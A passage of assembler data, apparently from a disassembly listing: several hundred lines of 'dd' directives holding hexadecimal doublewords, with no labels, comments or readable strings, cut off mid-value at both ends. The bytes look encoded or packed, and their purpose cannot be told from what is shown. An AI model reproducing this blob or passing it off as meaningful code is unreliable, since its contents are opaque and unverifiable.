8CE9354Bh dd 4FB3E9B3h, 33354407h, 0FD19A5B2h, 0E1FA9F84h, 0DDB67BAEh dd 0BC21E9C4h, 0FDAC4F40h, 527A4A1h, 6478E801h, 0E2251AAEh dd 0DDB129F8h, 389882B9h, 47FFD82h, 90FE46AFh, 32E18C49h dd 6809AB27h, 2F54254Dh, 0DED94B18h, 0E93AF92Fh, 30161BE8h dd 89F68AA8h, 14DE420Bh, 5E185821h, 194A3C3h, 74B05664h dd 179F45E9h, 9964F452h, 8C97025Dh, 82F2A6E6h, 18C62F14h dd 25450208h, 5D5E539Bh, 93890345h, 50EEFC3Ch, 0B981D4DFh dd 7A0C4CECh, 0EAD13660h, 4E019E87h, 5562CF06h, 0F5CBC589h dd 0C008B10Bh, 1C83B600h, 0DF80DEF6h, 57A20CCCh, 1A09F5A5h dd 85693964h, 0CCEE2705h, 7E14093Eh, 309318F1h, 83583071h dd 0BE6C5C2h, 68FFECDh, 84700238h, 6F8AE912h, 7AB3A188h dd 0FD0D5D3Dh, 8DF35F25h, 7513F600h, 37E93199h, 6277C9DEh dd 11D54723h, 0A36D3CBCh, 0A8B2005Bh, 0CC80C4FEh, 0F40BDA60h dd 0B0E4C025h, 4CB60B73h, 4A4118E9h, 80D92030h, 0EBE605E6h dd 51F3D8F9h, 7C5F2C27h, 0AA9436BAh, 9683BCBDh, 0C3708814h dd 1DC45114h, 5F40011Ch, 0AEFEE8B9h, 59E79AA0h, 0BE03E9A4h dd 2D0E71E0h, 61A5EC00h, 0F7896BB1h, 9BD02DE9h, 38300799h dd 95A95E14h, 0DF49C388h, 27671480h, 0E93125E5h, 230441D8h dd 0E5C688F4h, 0FAF7FA71h, 0E74EF72Ah, 0C79460F6h, 0E62FE25h dd 5BA16857h, 805F19FCh, 0C2436CCCh, 6105E930h, 87662A81h dd 29252AFAh, 0E66431F6h, 44DAD1ACh, 0A666484Dh, 6824774Bh dd 0DAB0D3BEh, 7AE9DD0Ah, 5D9A18FAh, 0AE557EFh, 4B88C627h dd 13ACBC66h, 75FE6C89h, 947E7D1h, 7C2B50E9h, 14F97B05h dd 70F33B93h, 10EEC618h, 0C1E4C831h, 917C8BB8h, 0DC3C6225h dd 9CE560CFh, 71B0CE17h, 0DE6F6CBCh, 78538700h, 6EFDE9F1h dd 0ACF7FFBDh, 2A7B5548h, 0B63A72E1h, 5A898945h, 9E681096h dd 0D3E90C45h, 985F0A3Eh, 81BE40AFh, 40A1E706h, 240C0A5Bh dd 3EED037Ah, 0E2FBC702h, 22D506DAh, 0EC38A6ADh, 0E9CAF362h dd 68FD406Bh, 5856AE24h, 1925B75Dh, 0CFD7D342h, 2C539AB0h dd 76BB00A0h, 795C0F72h, 3F2E1DC7h, 440C4618h, 328E2F33h dd 51957A58h, 0C15A69DAh, 55FA6812h, 0B81048DAh, 0E2D11787h dd 6882E9E2h, 460301h, 0FDF51C9Fh, 0EE47562Ah, 2913232Eh dd 0AB65FAFDh, 696D9AEEh, 0F721926Bh, 0E9761246h, 12743A5Bh dd 3243412Bh, 0AD71BC4Eh, 0C2AF33Fh, 171839E9h, 3DDB0CF5h dd 0C10C56B4h, 259D0C14h, 0EC9F05A2h, 2388C4ADh, 0E4344AE0h dd 80BEC01Bh, 637BB980h, 60F71ED7h, 0C98104D9h, 88365A9Eh dd 4D3A1027h, 1F8403AEh, 0F8C553F4h, 92078D02h, 0D754427Eh dd 0CF294CA3h, 8F78A7EAh, 0DC5A5425h, 0F92CCF7Bh, 5B95E247h dd 0D3CA1FD9h, 0EB521F1h, 0B720C972h, 538080E2h, 0F05A44F8h dd 0E907A0F2h, 2522F3CFh, 1FBC6809h, 45969BD5h, 1751621Ah dd 163F5FE9h, 0ACE285F7h, 0D2E9E133h, 5258DA24h, 0A24ED456h dd 61D2C424h, 0F44BD00h, 2134477Ah, 0C10673EEh, 1B20F3C5h dd 708E1C0h, 0A2D5A3DAh, 0FD656A37h, 0B6F54D1Bh, 0BD141039h dd 0F9215805h, 85CF445Fh, 5CCCEA9Ch, 43C35831h, 60D7832Ch dd 2C78BFBBh, 0E2C0485Bh, 2743D3F7h, 0C6F4E5E9h, 0B9EC527h dd 0BA505268h, 0E9C770B4h, 0F1EDF284h, 60F70620h, 134E5861h dd 0DA0918ACh, 57252DE9h, 0E882C05Ah, 114A3915h, 0F59E1A45h dd 0BA6F4FB3h, 37C0646Bh, 590C6855h, 2E5D3C01h, 0BEB5405Ah dd 162454F6h, 8602AA36h, 401BB37Eh, 2F1EC840h, 0DADE2F8Eh dd 1CD008A0h, 0E8497514h, 47B2039Bh, 9B03E2C0h, 506699EAh dd 0D24C0AFCh, 5E69B666h, 1F075F01h, 0F7601EBFh, 0C13E05B0h dd 0F5EAE929h, 440C9607h, 0B1D27027h, 4C5871A1h, 56692DCCh dd 0BBE0F67h, 5DF0428Ch, 0FA897965h, 6B6268A5h, 80C128FEh dd 25C8E0B8h, 0A8615A59h dd 890E70EDh, 0BF288B5Bh, 5F208419h, 0E3D10449h, 0C003EBC1h dd 0E84E71E4h, 0C2E92B0Bh, 0B9A2F6B3h, 6866DA02h, 10FF4304h dd 972D297Eh, 0B38B53DBh, 0E4BC8613h, 42E56920h, 40D9C9D8h dd 0EE42282Eh, 6F44DD8Ah, 80C9FE07h, 0F7E9D5E9h, 0E13A6D05h dd 0D7B63F4Ah, 8408B9D2h, 5E09DD6Dh, 0BA21205Fh, 0BC13742Bh dd 4176A79Ah, 0F2585C2Dh, 84DDC04Ah, 0E5CB2701h, 33259548h dd 9F687B01h, 9CA32B1Dh, 503D247Eh, 0CD686119h, 0C4953C22h dd 4B0B5BCFh, 971805DFh, 0AEC256FFh, 5DBF6F53h, 5A08108Bh dd 14085695h, 2095206Dh, 0C6EC88CFh, 70EC0179h, 0CEB55139h dd 0F6C078C7h, 4B11E968h, 0B11AB819h, 2B09BE56h, 88BE3E35h dd 0FD652DACh, 0A717F99Bh, 0B55F60A4h, 0E9890B67h, 0BF6760AAh dd 9A61176Bh, 1DB7AC3Dh, 0BFCB850h, 4101F2E3h, 903F322Fh dd 21F7EB28h, 0AD79573Dh, 0C1C9E807h, 0D63C14D3h, 890E811h dd 0BFC72D75h, 3248F4F2h, 0B047208Bh, 3BAD39CEh, 0F90C6D30h dd 804A5558h, 47F55BCh, 84160EDh, 0F0D3846Ch, 294B6667h dd 2668E9E4h, 10463CE6h, 2F5C24BDh, 0C0F0F745h, 9FEF5C01h dd 336D260h, 0B6CB4CC3h, 8B8AFE8Eh, 82FC6038h, 2D685050h dd 47990977h, 3D47E8ACh, 0B04E4D94h, 9B3EBF02h, 0C0F5939Eh dd 0BFF80942h, 0E919B69Ch, 780B07C1h, 0F2AE8254h, 3E2B449h dd 0B1DEA94Eh, 58722296h, 1316CD9Eh, 86213E0Ah, 0E62BC083h dd 7BEE6656h, 0C8D92631h, 1B6182D6h, 705D186Fh, 8EA425B0h dd 959884D1h, 900A8B67h, 40DD4EA6h, 924FB266h, 0F5F90107h dd 2B1475D6h, 452AF88Bh, 4E9190D5h, 37D9D862h, 58E1281Ch dd 9B16442Eh, 1AE0248Dh, 0B5EE9FB5h, 5A09FC95h, 0C289951Ah dd 0ECB71B6Ch, 0C8535F7Ah, 56585BA8h, 1E1A028Bh, 0D589782Ch dd 82F3E484h, 3103E09Dh, 94B4BFFBh, 0CA66AAB2h, 0C01060Dh dd 88CDB753h, 96325BFEh, 7BEADA10h, 0BD5AF53Eh, 0E21727C5h dd 73995F9Eh, 0BC133FFBh, 0C5CA28AFh, 20E9EFC2h, 0FA5FA909h dd 6F5B25EAh, 0A583CA59h, 0E949BB63h, 0D250FC30h, 721A7CC3h dd 906D98FDh, 2D7A0630h, 0E2313A26h, 5B945F74h, 71970D51h dd 1C031929h, 7910E4F0h, 0DCEAC09Dh, 88519443h, 60252893h dd 44A677Ch, 0F6B812F5h, 2DEF8081h, 0B905223Ch, 5D0292Eh dd 2597071Fh, 10931105h, 5C9BC2A0h, 0B2D3859Ah, 6B84C271h dd 9C88E053h, 7AC389DFh, 7B459957h, 0EA8DF928h, 92B8F56Eh dd 11B7581Fh, 0FE2FE93Dh, 9B339414h, 0F8F61745h, 900C8F61h dd 4DCD0BC8h, 0A9FF5DDCh, 0AB4A894Fh, 3E7653D9h, 22D92212h dd 95DFD88h, 7600FF1Fh, 0D294ADDh, 7FAFE910h, 8610534Ch dd 0AFD4AD5h, 694A6F05h, 80888051h, 0EEA0780Dh, 78B4BD0Ch dd 0F534D860h, 9544F028h, 100BCC1Ah, 79D4E1EAh, 77E38E9Bh dd 87904A66h, 4523C2B7h, 5984446h, 0BF051840h, 340ABF51h dd 3947128Ah, 0A90DC68Bh, 342050CCh, 726D0748h, 1BB3B85Ah dd 15E98001h, 0EC6F8A55h, 0BE58BA44h, 0F6A59F0Ch, 1FA2A81Ch dd 0A84B1617h, 275BEE60h, 0BDF1D828h, 2266F863h, 0B1C1B967h dd 57535854h, 0B721FEF0h, 0E666371h, 6D61DB0Dh, 2F027C30h dd 132DB4F3h, 0BC4B649Bh, 0A46503Fh, 98C9965Fh, 36D094E3h dd 4AC8015Bh, 1516FA05h, 5FA902EAh, 3C5C0DCAh, 4D6E642Fh dd 0FE121710h, 1018B1C8h, 7205BE85h, 810AB803h, 0A241D4CEh dd 2FC3DF30h, 0A408123Ch, 0F6071279h, 3E3C06ACh, 0B4F55B4Dh dd 0B403C177h, 212B63C4h, 326C3BC8h, 8E3A34Bh, 3F37F268h dd 3BAC591Bh, 6F165FD9h, 0A0964FE2h, 107E71Eh, 0F1811A41h dd 70AC7A41h, 0A4B2443Fh, 204CCD55h, 7971EFCDh, 12B057Eh dd 0F03CF10Eh, 0D2FB6948h, 44F8808h, 985D1168h, 22109AFFh dd 35607BA5h, 0E551B6BAh, 5AEB3850h, 0BF04E492h, 3C2C6C36h dd 48C091BBh, 0CFCC6AEEh, 16231FCBh, 227E832Ch, 3BA858F8h dd 1E4C6F0Ah, 72D2853h, 0CDBD5501h, 81231268h, 247658D4h dd 2E372D5h, 0E520A3A1h, 5A9383F5h, 26F69805h, 7CE9120Bh dd 555FD43h, 34868CEh, 0D9F4CC0Bh, 2D99CA8Ah, 0BEACE5DEh dd 2E0BD512h, 8440969h, 92280872h, 0D3CF5258h, 2B179CA2h dd 0DC2FB53Fh, 929DB1BAh, 0BE1057B8h, 0EAA64FAFh, 5954E090h dd 0D34CF7D7h, 76882DE1h, 4AFC3E49h, 0F5B67540h, 0E9F130CDh dd 581D2C20h, 773B6F21h, 2DC6CBCBh, 0DA3BDE1Ch, 6805C87Bh dd 0FB656F71h, 0C58930EBh, 7710BA0Bh, 841FB01h, 5FE0322Bh dd 0C6590F54h, 88EF932Bh, 0C7C5FAE5h, 31FE04EBh, 2C3305BFh dd 685322AAh, 5D9BEAD5h, 97D7521Bh, 8265B9A6h, 338B539Fh dd 0EC31DF05h, 527308A3h, 4B25B442h, 23252DF0h, 35CDEB5h dd 3B224C87h, 25D45204h, 9AA5BF9h, 8AE03ABBh, 0EDA0EF88h dd 9BBD9548h, 6446CA71h, 786798DDh, 0F7BA80A2h, 76955A25h dd 88421466h, 0D6687504h, 0E1728764h, 0D91B972Dh, 0C1F8DB76h dd 3B1D4E72h, 28BC0154h, 68D208E9h, 1BA88BABh, 0ECDF3CD2h dd 60F7F152h, 0D1BDE211h, 41EEE252h, 0E666C45Eh, 6803BC11h dd 4BB217A7h, 0FAF85BBFh, 2D3F520h, 5FFB6851h, 0A5FC2814h dd 1626F039h, 0A8A0410Eh, 2A60500Ah, 6138836h, 4F1234E3h dd 0D6DBA9ACh, 2D0461AAh, 4AC806A0h, 0F3589069h, 6A06D3B5h dd 5BDE89CDh, 65B920A2h, 4386678h, 58C201F6h, 0FE8DCA80h dd 94DFE9CCh, 0E291BB3h, 24D6ACC4h, 3B70525Ch, 0A92BE142h dd 4B169F18h, 0B66A06A1h, 2EF8933Dh, 0F1FFEC5Bh, 0E27A7580h dd 60EC4E85h, 58C38312h, 99E90446h, 0B8249460h, 4CD09897h dd 0D90449CFh, 805EE23Ah, 3668D57h, 0F1E92A17h, 9551EC7h dd 2FDADD50h, 25E4DED6h, 1A29307Eh, 21734569h, 40E608C9h dd 0FCD83109h, 8E56250Dh, 9CCDCAFh, 7930C065h, 7362AD68h dd 7A2A95DDh, 34D30B41h, 5E403840h, 681D5250h, 17D20994h dd 21E27100h, 2D65FA27h, 3978D6E9h, 744B38B4h, 473025Ah dd 0CAFF3F3Dh, 0BC080ADEh, 75A90D13h, 7AF568C2h, 958D9C7Dh dd 0C9066E4h, 0F525FDBCh, 0C338CF16h, 0E92D7369h, 0D231890Dh dd 68591749h, 1D31BB4Bh, 0FDCAC4E9h, 0A5C9FD1Bh, 0D6E97420h dd 4031557Fh, 47EADD91h, 0F7CB743Ch, 52BFAE25h, 3A459654h dd 4F4E9420h, 94B48759h, 0FABB85Bh, 0ACF0158h, 0EB051C71h dd 0A9C0B850h, 0E352CACh, 5FC0661h, 0E94B0F3Fh, 0BCD870FAh dd 0E94153BDh, 6811A16Eh, 0F104FD7h, 0D22475B1h, 0E381843Fh dd 405A0EBCh, 9002C370h, 2734EECFh, 0E9419764h, 62123FE3h dd 2F2ACBBEh, 208FEC50h, 89B76F2Bh, 59A4A419h, 0C3C6F3EDh dd 0EB1F81DAh, 859EC905h, 4D8221D2h, 74E77F5Fh, 7EB35ABEh dd 5ED72710h, 0E1102EACh, 0D8F70EA7h, 0AE052040h, 48A67241h dd 0E0277E29h, 0C57F3A42h, 489BA2C0h, 0E705CF56h, 0EB6F6960h dd 5C3EE702h, 0AD20D766h, 7E9878D5h, 646F0CC3h, 0CDACC55Ah dd 0B89EC4Bh, 71202168h, 707D802Bh, 52460A22h, 396AE924h dd 0E5D1FBADh, 60F39952h, 597CD2Eh, 0F1E9575Bh, 5129E9B1h dd 0E4BEB9D7h, 66C025FBh, 0F3671CABh, 73CE5889h, 87F9B02Dh dd 0D455C8E9h, 0CBAEA959h, 97025ADCh, 0B1209766h, 0C7881CBEh dd 873CCB58h, 0B298C596h, 5B3E9D20h, 0F26868Fh, 0D0F75E17h dd 8CF112EAh, 4340C138h, 0E73B48B3h, 0EB9FC539h, 80D15732h dd 3E63BB22h, 435DE612h, 2EE543BBh, 0AF9DF31Fh, 955C8CCCh dd 30BCF851h, 36F1F3BBh dd 0A10828B8h, 4595E86h, 0FFFA0D5Eh, 1416058Fh, 5080E7C1h dd 74048B00h, 7AE97641h, 44E8CE94h, 7943A2D3h, 82E03E59h dd 0FC4A492Dh, 3FDFE8C8h, 0C784680Fh, 8FE95F02h, 0CC93756Ah dd 0CBEC8898h, 0E67E5661h, 29D98277h, 129FC42Ah, 4A4BB408h dd 0DDF5CF4Dh, 49162ED1h, 3FE3B285h, 65D81756h, 815E6300h dd 0B5CE3CEh, 7FE911E6h, 6905BA29h, 7C5DB1EDh, 23F12498h dd 1C01604h, 83852A81h, 0AB5DEB12h, 4FA250CCh, 7A0A2CB7h dd 53A185F1h, 40869FB7h, 0A95E4E1Dh, 4E550599h, 0ECE86F6Dh dd 84168C2h, 0E72DE36Ch, 0C29613DFh, 5803D07Eh, 5D16049Dh dd 1048B93Dh, 5F09F3A2h, 2185DA01h, 0BBCE43C1h, 2E8252F6h dd 4D518060h, 3173573Bh, 50A93ACBh, 0E95AF02Ah, 659FCC76h dd 0D973A74Dh, 0C880D665h, 592AE97Ah, 79580B9Bh, 0EFE7102Ch dd 9171DB44h, 712857ACh, 0E7D96159h, 626168D1h, 0B77F37D5h dd 2766FD03h, 9B7AFCC8h, 2F9EF897h, 6E2B3CE2h, 0F225070Fh dd 0D3AF5F11h, 4F8EB884h, 0F4CFF562h, 2B2969A5h, 0D34C9675h dd 6314FE21h, 66E825ADh, 80C37C94h, 0B12D5BFh, 9C0016C2h dd 6C4F1BC7h, 86A9401h, 5B174C41h, 680128AAh, 0FC1F290Bh dd 0ECD1056Eh, 5A9061B9h, 1D053694h, 0BE0F5449h, 805E5D4h dd 0DDA23FE9h, 582DC509h, 0D4F40202h, 1C736801h, 1075B32Fh dd 0BB585525h, 3305F800h, 313AF30Bh, 58DF1861h, 0BB389EE9h dd 6EFC001h, 2A2AC780h, 0D434BEC2h, 6871627h, 0BB88829Bh dd 29255FFCh, 9F94F7F3h, 7B0E5696h, 0E6C1420Bh, 50C95D05h dd 76C7C2Ch, 0DDF6CDFEh, 0EFC545h, 0BFF5805Fh, 2390E830h dd 0E7AD8634h, 0D5C3BE1Eh, 17CF89F0h, 0CC2AAA1Ch, 0BB0453DFh dd 21C177A0h, 21A4C7EAh, 0EA762CBDh, 24C49380h, 892C0D0Ah dd 8E15DFDAh, 510C00E5h, 0EF81480Eh, 3F081333h, 16B1ACCDh dd 6B08DD89h, 0C7792DCFh, 1387DF0Ch, 9FD9EE56h, 0F680D480h dd 0F0243065h, 0FD9CFC5Ah, 3F2F817h, 0FF3EE9C5h, 0D207CA20h dd 29CE27B5h, 0EF16C87Ch, 5EA6260Bh, 2305E9F9h, 0AA1B00A5h dd 310B4416h, 2D59C800h, 409A6AA2h, 63E6BF53h, 1B163590h dd 0D10F7010h, 5E2D30B6h, 0D2928651h, 351AB4A9h, 0B45D203Bh dd 0BEE92FBDh, 0C5295BC0h, 685D9506h, 2DD74126h, 7D64598Ah dd 3BA498B0h, 275EF298h, 514C0BE6h, 0B817644Fh, 561C98CBh dd 0EC5E5F52h, 343126DCh, 0E908F218h, 4C2662EFh, 0A6DC4BB4h dd 26CB3012h, 2EEC000h, 29B65251h, 0F197E913h, 0A33F7029h dd 84B39786h, 40EEF340h, 4EEC50BDh, 754189BFh, 57822565h dd 0D24247E9h, 2E1F218Fh, 8FFA4CB1h, 3CEE8000h, 174B0498h dd 7A1D5E8h, 0D9F60047h, 0E8509F80h, 2709CC9Eh, 0F827CB4Fh dd 9F3F34D8h, 0C2976F78h, 76105F36h, 5ADF1E29h, 0B044F1D9h dd 0F90E296Fh, 0A2C1F8D1h, 1920D3A0h, 91D76082h, 1710977Dh dd 539F3A27h, 0F092BD8Dh, 19A44174h, 7A445427h, 5557DA00h dd 1635168h, 4D5D642Ah, 75EB91E9h, 3269C4DFh, 0D313E8F7h dd 96DE57CBh, 60895CB2h, 0CCCF7717h, 732ED360h, 0F6071B06h dd 16367BFAh, 37C10F0Ch, 0E6801BB5h, 21AD3057h, 0BCD7E917h dd 6E73541h, 0B690DFF7h, 0D9BD0093h, 8141FB51h, 778409CDh dd 86401AADh, 825B065h, 9E1DA4Dh, 0A829214Fh, 1EC27F84h dd 47E307FBh, 12B24968h, 9D577943h, 0CB526E41h, 68126E94h dd 0A88C34F1h, 4920130Bh, 497077Ah, 3DE91146h, 6F259F17h dd 5BF1F6EFh, 88EC47B3h, 28CAC19Eh, 3F3E0405h, 57F79E4Fh dd 0C089E9CBh, 2E6ABE7Ah, 13B87559h, 5AF400C6h, 5874E915h dd 2E347C4h, 0F8DBFCE0h, 578140FDh, 10A7BF02h, 5D297835h dd 5E23C420h, 0FF807037h, 90CD209h, 29D8F344h, 2D288B98h dd 0A4B721D7h, 0B1BA0555h, 0A813EF0h, 50007104h, 0FE07F7B4h dd 5E4C0CCh, 8008EC30h, 81895FC4h, 2F0307EAh, 5E697992h dd 0A9350164h, 30747E0Dh, 7C0B60E6h, 0D62934D1h, 160820C8h dd 0BF2CF1E9h, 4E5CEB38h, 1349E266h, 172838AEh, 0C2B80150h dd 0C10FE826h, 0D0F7F0E0h, 2E2D480Bh, 0E9210137h, 0E27A65ECh dd 51118108h, 42854429h, 81580735h, 6CB74144h, 5701E2F5h dd 2C7C9B8h, 49648744h, 0FA962FF6h, 3CC7DA12h, 0E3F45F65h dd 14E76312h, 44B9EDB5h, 0A15728FCh, 0CB6EC6FAh, 30E04EB4h dd 12668291h, 3E8B2355h, 86B9122Dh, 91DD6D25h, 22A5C6E0h dd 97FA94D5h, 0E92432C4h, 0D9AD733Ch, 580B02FBh, 220E3DBEh dd 0DFF165E7h, 0FFFEC82h, 0C9A820F1h, 0E2D6440h, 72B55C1Ch dd 0A91AA6A3h, 8A0CC0CDh, 715EF5D0h, 2521E0A0h, 17FA58C1h dd 9048E970h, 0C85B7CA0h, 8812B0B6h, 0BEEA34DBh, 385943B2h dd 997EB005h, 8C30C06Eh, 0F0415CF8h, 476E70Bh, 4D1041EAh dd 0BE80FF2Eh, 123DF313h, 5DD69DE9h, 8340958Ch, 5BF92001h dd 0CC86E180h, 0E29FABF1h, 0BA68D793h, 0B20052B9h, 40B3537Bh dd 95BFE1E9h, 509518E6h, 0F77489h, 5D84C981h, 0EBE92369h dd 1846F84Bh, 0B9B334Eh, 5FE814EDh, 5C748942h, 0C7CEDB53h dd 5A32C1D0h, 0ACA9B76Ch, 0BC76FD84h, 48A7C08Ah, 0EAE918A3h dd 0BD81B25Fh, 8A12CA85h, 9104CABh, 824810E8h, 90C9F13Ch dd 0A8EEBC83h, 2E58B3E7h, 9335D40h, 34F70311h, 9FE9172Fh dd 7739EE76h, 0E4F73469h, 9A9BEA34h, 1EF2CB10h, 43C91FB8h dd 3FD0453h, 642D47B8h, 0D7B9F800h, 5750D042h, 6FFB83BCh dd 50649080h, 0C27F4B73h, 637EE67Eh, 2C225427h, 6804306Dh dd 0A5A65502h, 3798A4A0h, 69225B95h, 48795354h, 0A350A978h dd 0D2C550CAh, 3409014h, 186F07A2h, 440DAF7h, 2013C1A0h dd 17FB19F8h, 8762BA2Ah, 0A2A578A8h, 4DE55D7Ch, 538FE9A5h dd 89C41238h, 803583D3h, 5866871Dh, 6B82F58Fh, 828242DDh dd 0A9E185Ah, 0B501368h, 127A03F4h, 3EE96E15h, 15BE0E95h dd 78FA2986h, 955679D8h, 2916E1FEh, 0F10B9B8h, 30580A73h dd 133E4FD0h, 0DC908AC5h, 601044A2h, 334D0C3Bh, 314FFB56h dd 0BC4A36B6h, 9BE90BA5h, 7DE630EEh, 77C69D9Fh, 40CBEABDh dd 3B3E134Eh, 0E7062209h, 0BE2A3B50h, 4BA45C59h, 874137DDh dd 97817D65h, 141BDFC2h, 2D04037h, 49986658h, 517F7125h dd 0EA224BEFh, 3FDE9C46h, 0C8858E5h, 268D945Dh, 0D2F601CCh dd 822FF521h, 5B16880Ch, 76BFF054h, 0CFFD122Dh, 45661472h dd 0B951D000h, 1DE22671h, 0E2BDE92Dh, 86F157A0h, 0DD5692A5h dd 9A20EB4Ch, 2DE69093h, 0C6D2BD59h, 6892BE04h, 0D1AAAED7h dd 625AD5CFh, 3E9C4BDh, 1BF75F0h, 765B4D2Bh, 36528268h dd 6CF50530h, 1388600Eh, 139809F7h, 0CC7F7555h, 0E0044A7Bh dd 3082125h, 0B890630h, 64A1F5E9h, 4342CA87h, 0FAE14CBBh dd 1CC74058h, 0E85BF1D0h, 9220F3F1h, 8A699E90h, 0A2886BB2h dd 0CC4154C4h, 7C751FB8h, 6057D94Bh, 0E42D3BC7h, 7BAC47F5h dd 0C0DD5AE0h, 4FE90AE3h, 0ED859080h, 3F3751B5h, 0D2B10C01h dd 616BE329h, 3F1CFE1Fh, 5C1746A2h, 515D2120h, 52570034h dd 1FA60168h, 0D15A1EF2h, 0ABE882EAh, 60291349h, 1F2E1C50h dd 9F31626Ah, 0D38BF95Dh, 18825E73h, 5552281Ah, 0A1316BEDh dd 0AB80A64Fh, 0B20A69C3h, 0D6975931h, 32E9E3C2h, 9BB8B301h dd 3550223Eh, 71A70F4h, 2F852503h, 0A0A1AEDAh, 2138CC39h dd 0ED102145h, 0D5890296h, 0DE971F6Ch, 0BF573402h, 0EB92BBB2h dd 2218A3CAh, 0B6C7B179h dd 1084060Bh, 2007FE29h, 15A0208h, 567B68CFh, 89718FFh dd 0A239F619h, 3DAD0597h, 370FCEB8h, 24303E5Eh, 7630A944h dd 0FB6842CDh, 5E941A20h, 0E7F8F875h, 99F150E5h, 21E3E23Bh dd 0D128963Ah, 2E58C46Dh, 0CBABC535h, 2D680AA4h, 38BC5A51h dd 0C4C856Ch, 12B1C1E9h, 9CA4802Bh, 6D7CED2Fh, 18CA1C34h dd 212F8FBEh, 272A1FD2h, 0E4DE3811h, 3092B896h, 22618A80h dd 84151728h, 0F024449Fh, 695194B3h, 0DF8789F7h, 2EEEBD0Bh dd 6732FA7Ch, 72D10F21h, 29F62F60h, 5B0E2229h, 0A50D0492h dd 2DCFCCA1h, 25857697h, 729636DAh, 58775452h, 23A9CD42h dd 22CA9C50h, 862AEC49h, 1E98A4h, 0C780CF28h, 0D7F65932h dd 1B016813h, 0B450C830h, 0C48007C2h, 99BB647h, 0EF0CED5Ch dd 3EF73881h, 0B94BDBE9h, 13F681C2h, 0A33F612Bh, 0FFC4857h dd 0D285F3CCh, 6AF4E85h, 1C41D94Eh, 78142303h, 4ECB29CAh dd 0A08C962Ah, 46482073h, 0FA20C6Eh, 0AF70C58h, 0A90E0D12h dd 33F005FCh, 0CD43C19Ah, 0FDC13F59h, 448E488Fh, 97E5B4B2h dd 0C97EAC68h, 0BFF930A1h, 9763160Ch, 27FCE816h, 1A455408h dd 0A802145Eh, 0BAF50C9Ah, 0F74B680Fh, 880BD2D7h, 0EE41BD56h dd 34A1F704h, 0F680AB10h, 0F13002B4h, 151C685Ah, 8207ECCh dd 39595CE8h, 0C24AEB07h, 0B8B7C44Bh, 1B5E25DEh, 0D00D51D5h dd 91AF9D44h, 0FB79E99Fh, 0FCB52E1Ch, 2D23F82Dh, 0B7F4A5F1h dd 0A4B970h, 0D14E8E7Bh, 8FBF57E9h, 3EC0161Dh, 2B474BD3h dd 0FF294366h, 0BE53822h, 60EE8102h, 126B9A7Ch, 0BF5EF509h dd 651DA760h, 28166021h, 59672D4Ah, 7ABCA95h, 0F3965D08h dd 2F05B7D8h, 0B1D1E0D3h, 0C180C602h, 62CB28E5h, 0EF094336h dd 0CABB0E0h, 0B7681583h, 0B50F6407h, 7A435394h, 0C098F780h dd 0FE3C07EFh, 28FC72C7h, 255BFD38h, 0F68298E8h, 26DBE6D8h dd 0A74F0EE9h, 722296D2h, 6C9EB5h, 7F7CCEBEh, 8206BD18h dd 296F54FBh, 0D27695F6h, 5D8813Bh, 58B676C7h, 20846E73h dd 515E027Dh, 0FA87815Ah, 0E9250203h, 330F3C2Ah, 8299B788h dd 0BF380E80h, 70BFE5DFh, 0AA9AFE57h, 1F7E4156h, 2B84612Ah dd 1B202AA7h, 7B50BABFh, 3A49049h, 19B0129Ch, 0A9A416E9h dd 106648F8h, 0E75A7A23h, 0FE8B5B0Fh, 81D77F2Ch, 582B1705h dd 94122B4Ch, 69969EFEh, 0F5E27DCEh, 5A7C2657h, 0E9551382h dd 0EC36C5F9h, 5EEED63Dh, 0E469411Ah, 7C2CE90Dh, 0EB31155Ch dd 5CA4DD4Eh, 237CC028h, 0B471F300h, 0DD31FD44h, 418E905Bh dd 28E26CB3h, 6E25A9F7h, 0BD6073AAh, 166B8ED8h, 0CCB4A545h dd 1B5C4C2h, 58497A68h, 0A84197FEh, 745A0A2Ah, 7A70AD97h dd 40A7681Ch, 8C3B7725h, 0B90E5712h, 0D32C568Ah, 2FC94361h dd 5C67702h, 7D593D13h, 47506782h, 3D65780Bh, 0C514C330h dd 68C2AAA7h, 0AEC64EA9h, 0E912E0E6h, 6DBE17ECh, 2C5A9283h dd 9F07EEA9h, 0B4221D7Fh, 0BA69D0F4h, 4998183Dh, 4159BBF4h dd 306801A7h, 5F4C7459h, 91CEA8F0h, 0C55BBEB9h, 0C461EBDAh dd 496BF2AFh, 0CB78020Ch, 1360739Fh, 30C4D28Bh, 7E626654h dd 0E85709E4h, 4C18CBAAh, 0CD1D2426h, 36EA0CE2h, 0B9163F18h dd 0DE0862BDh, 0E18913FEh, 3C65490Ch, 1F8F30DFh, 541A68ADh dd 400C843Ch, 0C34A2902h, 0FBF583FCh, 0E912FACAh, 50B2C031h dd 21F0D0B0h, 81A6465Ch, 74164392h, 53354331h, 4FBCCB2Eh dd 0EF10AEE3h, 5E04872h, 5EDF3A50h, 0BFCC6084h, 3F2709F7h dd 6A03718Fh, 1CD03BD9h, 0D098FE29h, 68580883h, 0AB770504h dd 0F0820140h, 3289D7A1h, 78773AF5h, 0EEA39737h, 6B03E832h dd 453943F2h, 0BAE2B00Ah, 4E153E72h, 0AC23C202h, 8CD5AA09h dd 11DD204h, 297F5805h, 57B850F7h, 0BA93EF08h, 0AC4A6BCAh dd 62AED375h, 0F3575AECh, 0FF78A5B5h, 0DF4152B0h, 20BD2F44h dd 859CA0D7h, 6A83F240h, 60CC6C5h, 497A3A56h, 584ABEB0h dd 0ED4ACDB8h, 5B52059Fh, 0B18161ECh, 0A62D336Ch, 8A4DEE2Ch dd 2A33C788h, 0E42C73C1h, 40E798E2h, 0C32F88B4h, 0F811DA58h dd 2723BE54h, 0E9851647h, 0DE8BB26h, 8B65283h, 25C443D9h dd 6C14D94Fh, 0E9F45E18h, 5D0B01F7h, 0AA685844h, 418A7B07h dd 0E9C3B442h, 475AE680h, 8925C2A1h, 0D37DE242h, 5C14855h dd 0C38A337Ah, 0CCA0C5D3h, 0E918B975h, 0E1DB343Ah, 4F731718h dd 41CAF001h, 0FE364495h, 5D090FCEh, 94644D9Bh, 96D2F3FEh dd 447755C0h, 3EE91303h, 4067FEBCh, 5F960DA2h, 6089C0F9h dd 50FD7ED7h, 88960B97h, 96556260h, 1D2D784Eh, 4217E844h dd 35C2D83Bh, 0F707F342h, 77C7F910h, 0A954A227h, 13B9CC4Dh dd 0BDD3ED8h, 31C2BB92h, 26F82F57h, 2512C567h, 4BE420B8h dd 2962A495h, 0F08F10C1h, 39F4AA04h, 815549C3h, 3FCBA83h dd 9027FD10h, 5C915A32h, 0C5E2EAF5h, 207FA84Ch, 98B066E3h dd 0C5B88673h, 9A3C2F41h, 